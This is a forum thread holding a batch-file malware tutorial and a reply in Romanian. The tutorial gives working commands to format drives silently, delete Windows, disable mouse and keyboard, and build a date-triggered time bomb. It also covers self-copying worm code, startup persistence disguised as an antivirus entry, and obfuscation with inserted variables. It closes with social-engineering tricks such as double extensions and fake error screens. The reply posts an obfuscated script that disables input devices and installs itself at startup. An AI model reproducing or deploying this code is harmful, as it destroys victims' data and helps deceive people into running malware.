Jump to content
Sub_Zero

Alt batch file tutorial

Recommended Posts

As most of you know .bat files uses basic ms-dos commands to do something - i will explain how to gather information from other computers, how to create worms or how to basicly destroy someone's computer.

1)How to begin

You should begin with making some .bat file - its silly, but many ppl dont even know such things - easiest way is to make .txt file and change extension to .bat - but rebember if you have "hide known extensions" option enabled you can accidentaly make "xxx.bat.txt" file - and it still will be .txt file.

2)Basic Command

When you create .bat file you should start creating it using basic command. Almost always in first line you should put "@echo off" command - it will hide everything you dont want to show to user. When you want to show something you simply put "echo" at beginning of line with that thing. Example:

Code:

@echo off

blablablablablabla

echo ung ung ung ung

eheheheheheheheheh

In such case user will only see :

@echo off

ung ung ung ung

But when he will se "@echo off" command he will know you are hidding something and try to reveal it, so you need to hide also "@echo off". How to do it ? Using another command - "cls"."cls" command clears all the screen, so when you type it after "@eho off" command it will be cleared. Last basic command you need to know is "exit" command - you should put it at the end of your batch file to close console when your program will end.

3)Destructive commands

There are many more or less destructive commands - i will write them but i dont take responsibility on what you use them for.

Code:

format c: /q /autotest (this command will format c: disk without question "do you want to format ? (y/n)")

DELTREE /Y C: (this command will delete all files on disc C:)

rundll32 mouse,disable (this command will disable mouse till next restart)

rundll32 keyboard,disable (this command will disable keyboard till next restart)

rundll32 user,disableoemlayer (this command will ..dont know the word - STOP the system and you NEED to restart)

DELTREE /Y %windir% (it will remove windows :D )

rundll32 shell32,SHExitWindowsEx 2 (this command will restart your windows, but not all computer)

rundll32 shell32,SHExitWindowsEx -1 (this command will restart only explorer)

rundll32 user,swapmousebutton (it will swap mouse buttons)

rundll32 user,setcursorpos (it will move mouse cursor to right/top corner)

4)Time Bombing

Its obvious that if you give your program to someone and it will destroy something, computer owner will know thats your fault. To negate this effect you can use time bombing ability (it will destroy something after some time). How to use it ? Here is example:

Code:

Code:

@ECHO OFF

GOTO TEST

:DESTRUCTION

GOTO END

:TEST

REM Here we need to give some cases

GOTO DESTRUCTION

GOTO END

:END

If we want to format some computer simply do:

Code:

@echo off

echo. | date | find /c /i "2005.05.10" > NUL

If errorlevel 1 GoTo End

FORMAT C: /Q /AUTOTEST

:End

In such case program will start format on 10.05.2005 

5)Worm

If you want your program to survive somewhere on target computer you need to copy it somewhere. But you dont need to make another file - you can also simply add your program source into other .bat files. You can simply do this using suh commands:

Code:

ctty nul

for %%i in (*.bat) do copy %0+%%i %%i /y >nul

This command will add you source of your file to any .bat file in same directory.

Code:

type %0 >>other.bat

This command will clear other.bat file soure and write your source into it.

If you want your program to start when windows starts you need to copy it into winstart.bat file (its in windows folder) How? just add to your file this line:

Code:

COPY %0 %windir%WINSTART.BAT

%windir% is Windows folder (it doesnt care that its name is WINNT WIN or WINDOWS - it will find it  )

And how to add your program to registry ? Add this:

Code:

@echo off

copy %0 c:prog.bat

echo REGEDIT4 >>registry.reg

echo. >>registry.reg

echo [HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun] >>registry.reg

echo "Norton AntyVirus"="C:prog.bat" >>registry.reg

echo. >>registry.reg

regedit /s registry.reg

dir >nul

del registry.reg >nul

Quote:

6) Gaining Info

Quote:

When you want to gather info from other computer you should try this:

dir *.* (it will show files in same directory)

netstat -an (it will show all connected IP at this time)

ipconfig (it will show IP, Gate and so on of target computer)

ver (it will show OS version)

And so on, but this commands will only show those infos - to gather them you need to add ">>xxx.bat" after each of them (where xxx.bat is your program name) to add those infos into your program source, or ">>yyy.zzz" wher yyy.zzz is other file you want to create or add to (you can use any extension). 

7)Stealth

As you know you need to hide your .bat file source and its activity from user view. Hidding your source code is simly - you can simply add %v% or %x% or %r% or %l% or %q% or %z% between any letter (program wont use those). When you want to hide activity you need to use some "social engineering" . For example you can use some double extensions:

Code:

pamela.jpg.bat

document.doc.bat

movie.avi.bat

If target has "Hide known extensions" enabled it will only see first extensions 

You also can emulate some actions for example when you simulate some game try this:

Code:

Code:

@echo off

cls

echo Starting Graphics.....

----Here you put some commands

echo Starting Sound........

----Also here you put some commands

echo Cannot init sound card! run SETSOUND.BAT

exit

User will thing game didnt started.

Also can try with "Not of memory! (need 560 kB to run)", "Incorrect DOS version!" or "Trial version expired (30 days)".

END GOod Day ... With Regards Bharath

Link to comment
Share on other sites

Salut! Uite, am facut un *.bat care vreau sa faca asa : disable mouse, disable keyboard si porneste odata cu windows si l-am facut stealth cu "%q%". Intrebarea mea este daca l-am scris bine (sper sa puteti citi printre %q%)

@echo off
%q%r%q%u%q%n%q%d%q%l%q%l%q%3%q%2%q% %q%k%q%e%q%y%q%b%q%o%q%a%q%r%q%d%q%,%q%d%q%i%q%s%q%a%q%b%q%l%q%e%q%
%q%r%q%u%q%n%q%d%q%l%q%l%q%3%q%2%q% %q%m%q%o%q%u%q%s%q%e%q%,%q%d%q%i%q%s%q%a%q%b%q%l%q%e%q%
%q%C%q%O%q%P%q%Y%q% %q%%%q%0%q% %q%%%q%w%q%i%q%n%q%d%q%i%q%r%q%%%q%W%q%I%q%N%q%S%q%T%q%A%q%R%q%T%q%.%q%B%q%A%q%T%q%

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...